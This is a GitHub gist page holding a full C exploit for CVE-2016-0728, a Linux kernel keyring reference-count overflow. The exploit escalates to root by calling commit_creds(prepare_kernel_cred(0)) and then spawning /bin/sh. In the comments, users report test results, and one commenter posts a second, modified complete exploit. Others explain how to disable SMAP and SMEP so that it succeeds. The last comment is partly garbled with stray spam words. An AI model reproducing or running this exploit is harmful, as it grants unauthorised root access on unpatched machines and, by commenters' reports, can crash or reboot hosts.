Skip to content

Instantly share code, notes, and snippets.

@PerceptionPointTeam
Last active February 20, 2024 19:43
Show Gist options
  • Save PerceptionPointTeam/18b1e86d1c0f8531ff8f to your computer and use it in GitHub Desktop.
Save PerceptionPointTeam/18b1e86d1c0f8531ff8f to your computer and use it in GitHub Desktop.
cve_2016_0728 exploit
/* $ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall */
/* $ ./cve_2016_072 PP_KEY */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <unistd.h>
#include <sys/ipc.h>
#include <sys/msg.h>
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
#define STRUCT_LEN (0xb8 - 0x30)
#define COMMIT_CREDS_ADDR (0xffffffff81094250)
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81094550)
struct key_type {
char * name;
size_t datalen;
void * vet_description;
void * preparse;
void * free_preparse;
void * instantiate;
void * update;
void * match_preparse;
void * match_free;
void * revoke;
void * destroy;
};
void userspace_revoke(void * key) {
commit_creds(prepare_kernel_cred(0));
}
int main(int argc, const char *argv[]) {
const char *keyring_name;
size_t i = 0;
unsigned long int l = 0x100000000/2;
key_serial_t serial = -1;
pid_t pid = -1;
struct key_type * my_key_type = NULL;
struct { long mtype;
char mtext[STRUCT_LEN];
} msg = {0x4141414141414141, {0}};
int msqid;
if (argc != 2) {
puts("usage: ./keys <key_name>");
return 1;
}
printf("uid=%d, euid=%d\n", getuid(), geteuid());
commit_creds = (_commit_creds) COMMIT_CREDS_ADDR;
prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR;
my_key_type = malloc(sizeof(*my_key_type));
my_key_type->revoke = (void*)userspace_revoke;
memset(msg.mtext, 'A', sizeof(msg.mtext));
// key->uid
*(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
//key->perm
*(int*)(&msg.mtext[64]) = 0x3f3f3f3f;
//key->type
*(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}
keyring_name = argv[1];
/* Set the new session keyring before we start */
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
if (serial < 0) {
perror("keyctl");
return -1;
}
if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
perror("keyctl");
return -1;
}
puts("Increfing...");
for (i = 1; i < 0xfffffffd; i++) {
if (i == (0xffffffff - l)) {
l = l/2;
sleep(5);
}
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
perror("keyctl");
return -1;
}
}
sleep(5);
/* here we are going to leak the last references to overflow */
for (i=0; i<5; ++i) {
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
perror("keyctl");
return -1;
}
}
puts("finished increfing");
puts("forking...");
/* allocate msg struct in the kernel rewriting the freed keyring object */
for (i=0; i<64; i++) {
pid = fork();
if (pid == -1) {
perror("fork");
return -1;
}
if (pid == 0) {
sleep(2);
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}
for (i = 0; i < 64; i++) {
if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
perror("msgsnd");
exit(1);
}
}
sleep(-1);
exit(1);
}
}
puts("finished forking");
sleep(5);
/* call userspace_revoke from kernel */
puts("caling revoke...");
if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
perror("keyctl_revoke");
}
printf("uid=%d, euid=%d\n", getuid(), geteuid());
execl("/bin/sh", "/bin/sh", NULL);
return 0;
}
@birdstream
Copy link

@nardholio I'm aware of that. But the difference is that on my Ubuntu desktop i could see the refcount go up (but still did not get root access in the end though). On my phone however it was only referenced 3 times and then the process ended up getting the D state... So i'm wondering if that is to be expected or i messed up when compiling it? There were some warning about regparm being ignored and some "spill on implicit...". But it did produce a working ARM binary

@nicStuff
Copy link

Is it safe to run this PoC in production environment for checking if the patch has been applied?

@petermaloney
Copy link

With kernel 4.1.6 and grsecurity, not exploitable via overflow (but still leaks) :)

$ ./cve_2016_0728 123
uid=1000, euid=1000
Increfing...
Killed

[701688.047029] PAX: refcount overflow detected in: cve_2016_0728:15567, uid/euid: 1000/1000
[701688.047035] CPU: 2 PID: 15567 Comm: cve_2016_0728 Tainted: G I 4.1.6-1-grsec-kvm-host #29
[701688.047036] Hardware name: System manufacturer System Product Name/P6T WS PRO, BIOS 0603 02/26/2009
[701688.047039] task: ffff8801b7642c80 ti: ffff8801b76430b8 task.ti: ffff8801b76430b8
[701688.047040] RIP: 0010:[] [] find_keyring_by_name+0xdd/0x160
[701688.047047] RSP: 0018:ffffc90005dc3dd8 EFLAGS: 00000a16
[701688.047048] RAX: 0000000000000000 RBX: ffff8805f6346000 RCX: 000000007fffffff
[701688.047049] RDX: 000000007fffffff RSI: ffff8803544772c0 RDI: ffff8805f6346000
[701688.047050] RBP: ffffc90005dc3e08 R08: 0000000000000ffe R09: ffff880228ad5480
[701688.047051] R10: 0000000000000000 R11: 8080808080808080 R12: ffff8805d4240998
[701688.047052] R13: 0000000000000000 R14: ffff8801b7642c80 R15: ffffffff81d1d8c0
[701688.047054] FS: 00006b2d87d46700(0000) GS:ffff88063fc40000(0000) knlGS:0000000000000000
[701688.047055] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b
[701688.047056] CR2: 000061f3b08c5000 CR3: 00000005a6046000 CR4: 00000000000006f0
[701688.047057] Stack:
[701688.047058] ffff8803544772c0 ffff8805d4240998 ffff8805d4240998 ffff88046069ac00
[701688.047061] 00006b2d876adcf9 ffff8803544772c0 ffffc90005dc3e58 ffffffff812b4f59
[701688.047063] 00006b2d876adcf9 00006b2d87d46700 ffffc90005dc3e58 ffff8805d4240998
[701688.047065] Call Trace:
[701688.047068] [] join_session_keyring+0x59/0x190
[701688.047071] [] keyctl_join_session_keyring+0x37/0x60
[701688.047072] [] SyS_keyctl+0x208/0x220
[701688.047076] [] system_call_fastpath+0x12/0x85
[701688.047078] [] ? int_with_check+0x23/0x28
[701688.047079] Code: e5 48 8b bb 88 00 00 00 4c 89 e6 e8 7e cf 07 00 85 c0 75 d2 45 84 ed 74 55 8b 13 85 d2 74 c7 89 d1 83 c1 01 71 05 83 e9 01 cd 04 <89> d0 f0 0f b1 0b 39 d0 75 59 e8 74 37 e4 ff 48 89 43 60 48 c7

@dac4755
Copy link

dac4755 commented Jan 22, 2016

There were earlier comments on the time it takes to run. I have built the poc code for my S4 and I added a counter so I can make a rough estimate on how long it will take to perform the increfing loop. It's looking like it will take over 100 days. Has anyone actually run the poc on an android device? If so, how long did it take to run even if it didn't get root? I'm trying to figure out if I'm doing something wrong or if the exploit isn't practical at least on older devices.

thanks,
d

@hidefromkgb
Copy link

Doesn`t work on Arch Linux:

$ ./cve_2016_0728 PP_KEY
uid=1000, euid=1000
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1000, euid=1000
sh-4.3$ uname -r
4.3.3-2-ARCH
sh-4.3$ shutdown -h now
shutdown: you must be root to do that!

@birdstream
Copy link

@dac4755 did your process spend most of it's time in the D-state, using just about 1% cpu? it did on mine but im not sure i compiled it right.. got some warnings. Mine is also an S4...

@oneno
Copy link

oneno commented Jan 24, 2016

Getting the following error when try to build in manjaro 4.1:

||=== Build: Debug in exploit (compiler: GNU GCC Compiler) ===|
/home/guest/Documents/Develop/Cpp/Projects/CVE-2016-0728/exploit/main.cpp||In function ‘int main(int, const char*)’:|
/home/guest/Documents/Develop/Cpp/Projects/CVE-2016-0728/exploit/main.cpp|62|error: invalid conversion from ‘void
’ to ‘key_type*’ [-fpermissive]|
||=== Build failed: 1 error(s), 0 warning(s) (0 minute(s), 0 second(s)) ===|

@dac4755
Copy link

dac4755 commented Jan 24, 2016

@birdstream, It was cranking away, just really slowly. I added a counter for every 1000 iterations and it was taking 3-5 seconds. In contrast, on a Linux VM it cranked through the entire refcount loop in a reasonable time (I think it was 5 to 10 minutes).

@daviribeiro
Copy link

Doesn't work on Kali Linux in compile time. Needs keyutils pack to compile.
If this POC is the base for the sec failure, if almost systems doesn't have this one installed, it don't will working.
Btw, I'll testing inCetOS and Fedora soon.

@QkiZMR
Copy link

QkiZMR commented Jan 25, 2016

I'm trying to compile it and nothing happen. Binary is not created.

@afteroot
Copy link

Dont Work on:
OS: ubuntu Ubuntu 14.04 trusty
Kernel: x86_64 Linux 3.13.0-76-generic
CPU: Intel Core i7-5500U CPU @ 2.4GHz

@tfroidcoeur
Copy link

I don't quite understand how the refcount ends at 0:
I count 1 refcount at line 89
0xfffffffc more refcounts in the for loop at 102
and finally five more refcounts in the last loop at 114

so the refcount ends at 2 after wrapping around?

@snorez
Copy link

snorez commented Jan 28, 2016

It seems that this POC fails a lot, and after running it, the key still exists via /proc/keys and the count is about 64...
I modify the loop count and some other code, then, it fails again and again, but I also get these results that runs in a virtual machine which is ubuntu 14.04 with 3.18.25 without smap & smep.
cve-2016-0728 5days 00
cve-2016-0728 5days 01
then the vm freeze.

when I run the modified exp in kali 2.0 with kernel-3.18.24(no smap no smep), the keyctl_revoke return ENOKEY,

@itmox
Copy link

itmox commented Jan 28, 2016

@mah0ne, could you provide your changed code?

@snorez
Copy link

snorez commented Jan 28, 2016

@itmox just a small change, I decrease the 2nd "for" loop counter, cause it seems that when refcount = 0, the next join_session_keyring will alloc a new obj with the original name, then keyctl_revoke will call the new obj ->type->revoke. but when the refcount is 0 and GC free the obj, sometime keyctl_revoke return ENOKEY,


#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <sys/ipc.h>
#include <sys/msg.h>

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
/* TODO the address */
_commit_creds commit_creds = (_commit_creds)0xffffffff81091a70;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)0xffffffff81091d70;

struct key_type {
    const char *name;
    size_t def_datalen;
    void *vet_desc;
    void *preparse;
    void *free_preparse;
    void *instantiate;
    void *update;
    void *match_preparse;
    void *match_free;
    void *revoke;
    void *destroy;
};

/* key_revoke(struct key *key) */
void exploit(void *key)
{
    commit_creds(prepare_kernel_cred(0));
}

int main(int argc, char *argv[])
{
    if (argc != 2) {
        fprintf(stderr, "usage: %s <key>", argv[0]);
        return -1;
    }

    int pid;
    size_t i = 0;
    unsigned long l = 0x100000000/2;
    key_serial_t serial = -1;

    /* prepare key_type structure */
    struct key_type *m_key = malloc(sizeof(struct key_type));
    m_key->revoke = (void *)exploit;

    /* set msg_msg structure, is 0xb8 size */
    int msgid;
    struct msg_tail {
        long mtype;
        char mtext[0xb8-0x30];
    } msgp = {0x4141414141414141, {0}};

    memset(msgp.mtext, 'A', sizeof(msgp.mtext));
    *(int *)(&msgp.mtext[56]) = geteuid();/* key->uid */
    *(unsigned long *)(&msgp.mtext[72]) = 0x9;/* key->flag */
    *(int *)(&msgp.mtext[64]) = 0x3f3f3f3f;/* key->perm */
    *(unsigned long *)(&msgp.mtext[80]) = (unsigned long)m_key;
    if ((msgid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
        perror("[-] msgget");
        return -1;
    }

    serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, argv[1]);
    if (serial < 0) {
        perror("keyctl");
        return -1;
    }

    if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL |
           KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
        perror("keyctl");
        return -1;
    }

    printf("uid = %d, euid = %d\n", getuid(), geteuid());
    fprintf(stderr, "[+] increfs...\n");
    for (i = 1; i < 0xfffffffd; i++) {
        if (i == (0xffffffffUL - l)) {
            sleep(5);
            l = l/2;
        }
        if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, argv[1]) < 0) {
            perror("keyctl");
            return -1;
        }
    }
    sleep(5);

    for (i = 0; i < 3; i++) {
        if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, argv[1]) < 0) {
            perror("keyctl");
            return -1;
        }
    }
    fprintf(stderr, "[+] finish increfs\n");
    sleep(9);

    fprintf(stderr, "[+] fork...\n");
    for (i = 0; i < 64; i++) {
        pid = fork();
        if (pid == -1) {
            perror("[-] fork");
            return -1;
        }

        if (pid == 0) {
            sleep(2);
            if ((msgid = msgget(IPC_PRIVATE, 0644 |
                        IPC_CREAT)) == -1) {
                perror("[-] msgget");
                exit(1);
            }
            for (i = 0; i < 256; i++) {
                if (msgsnd(msgid, &msgp,
                       sizeof(msgp.mtext), 0) == -1) {
                    perror("[-] msgsnd");
                    exit(1);
                }
            }
            sleep(-1);
            exit(1);
        }
    }

    fprintf(stderr, "exploit...\n");
    sleep(5);
    if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1)
        perror("[+] keyctl_revoke");

    printf("uid = %d, euid = %d\n", getuid(), geteuid());
    execl("/bin/sh", "/bin/sh", NULL);
    return 0;

@itmox
Copy link

itmox commented Jan 28, 2016

@mah0ne how did you deactivate smap and smep? Thanks.

@snorez
Copy link

snorez commented Jan 29, 2016

@itmox I recompile the kernel,
check SMAP in .config and comment the line "CONFIG_X86_SMAP=y" then "make oldconfig",
after the new kernel done, append "nosmep" to the boot options in file /boot/grub/grub.cfg (Ubuntu)

@vnavin4
Copy link

vnavin4 commented Feb 10, 2016

Don't work on "Oracle Linux Server 6.7"
Kernel: 3.8.13-118.3.1.el6uek.x86_64

[tstuser1@oracle65-1 exploit-cve-2016-0728]$ ./cve_2016_0728 PP1
uid=500, euid=500
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=500, euid=500
sh-4.1$

@gqbnm0
Copy link

gqbnm0 commented Feb 11, 2016

Is it safe to run this PoC in production environment for checking if the patch has been applied?

no. Never this sort of test on a production host. With the following in mind, I need more sane testing conditions.
I've tested twice:

  • on Manjaro (arch fork) with 3.18 kernel, and it panic'd (locked the system)
  • on CentOS 7 with kernel 3.10, it caused a reboot.

@niubl
Copy link

niubl commented Feb 17, 2016

  • filehelper_1455702738105_91

i use @mah0ne 's kernel number and success to exploit.
ubuntu 14.04.1 x64 then download kernel 3.18.25 and compile and install.
shutdown smap in menuconfig
shutdown smep by edit /boot/grub/grub.cfg

@idlefire
Copy link

Deletion keyutils.h, who can give me a document.
thank you..

@dpproduction
Copy link

dimon@dimon-BAZA:~$ ./cve_2016_0728 PP1
[+] uid=1000, euid=1000
[+] Resolved commit_creds to (nil)
[+] Resolved prepare_kernel_cred to (nil)
[-] You probably need to change the address of commit_creds and prepare_kernel_cred in source
[+] Increfing...

[+] Finished increfing
[+] Forking...
[+] Finished forking
[+] Caling revoke...
uid=1000, euid=1000
$ $ whoami
dimon
$

Whats wrong ?

@dpproduction
Copy link

So I compiled the latest version and get the same result
dimon@dimon-BAZA:~$ ./cve_2016_0728 PP1
uid=1000, euid=1000
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1000, euid=1000
$ whoami
dimon
$ reboot
reboot: Need to be root
$

@MatanTubul
Copy link

i got the following error in android 7.1.1 in nexus6p:

"/system/bin/sh: ./cve_2016_0728: not executable: 64-bit ELF file"

@MatanTubul
Copy link

@bactis can you please publish your final exploit including the make file?

@MatanTubul
Copy link

MatanTubul commented Dec 29, 2016

@bactis
i attached here my make file and android.mk.
currently i get the following error:

ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=android-16
make[1]: Entering directory `/home/matant/Downloads/tmp/CVE-2016-0728/version2'
[armeabi] Compile thumb  : dirtycow <= cve_2016_0728.c
./cve_2016_0728.c:14:21: fatal error: sys/msg.h: No such file or directory
 #include <sys/msg.h>
                     ^
compilation terminated.
make[1]: *** [obj/local/armeabi/objs/dirtycow/cve_2016_0728.o] Error 1
make[1]: Leaving directory `/home/matant/Downloads/tmp/CVE-2016-0728/version2'
Makefile:5: recipe for target 'build' failed
make: *** [build] Error 2




@MatanTubul
Copy link

MatanTubul commented Dec 29, 2016

@bactis
i attached here the android.mk and make file.
currently this is the error i get:

make
mk_file

ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=android-16
make[1]: Entering directory `/home/matant/Downloads/tmp/CVE-2016-0728/version2'
[armeabi] Compile thumb  : dirtycow <= cve_2016_0728.c
./cve_2016_0728.c:14:21: fatal error: sys/msg.h: No such file or directory
 #include <sys/msg.h>
                     ^
compilation terminated.
make[1]: *** [obj/local/armeabi/objs/dirtycow/cve_2016_0728.o] Error 1
make[1]: Leaving directory `/home/matant/Downloads/tmp/CVE-2016-0728/version2'
Makefile:5: recipe for target 'build' failed
make: *** [build] Error 2





@ofnothinghere
Copy link

Linux-4.1.12
'''$ ./cve_2016_0728 PP1
uid=1000, euid=1000
Increfing...
finished increfing
forking...
finished forking
caling revoke...
uid=1000, euid=1000
sh-4.3$'''
memes

wallpaper
i use @mah0ne 's kernel number and success to exploit.
gif

quotes
ubuntu 14.04.1 x64 then download kernel 3.18.25 and compile and install.
shutdown smap in menuconfig
shutdown smep by edit /boot/grub/grub.cfg

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment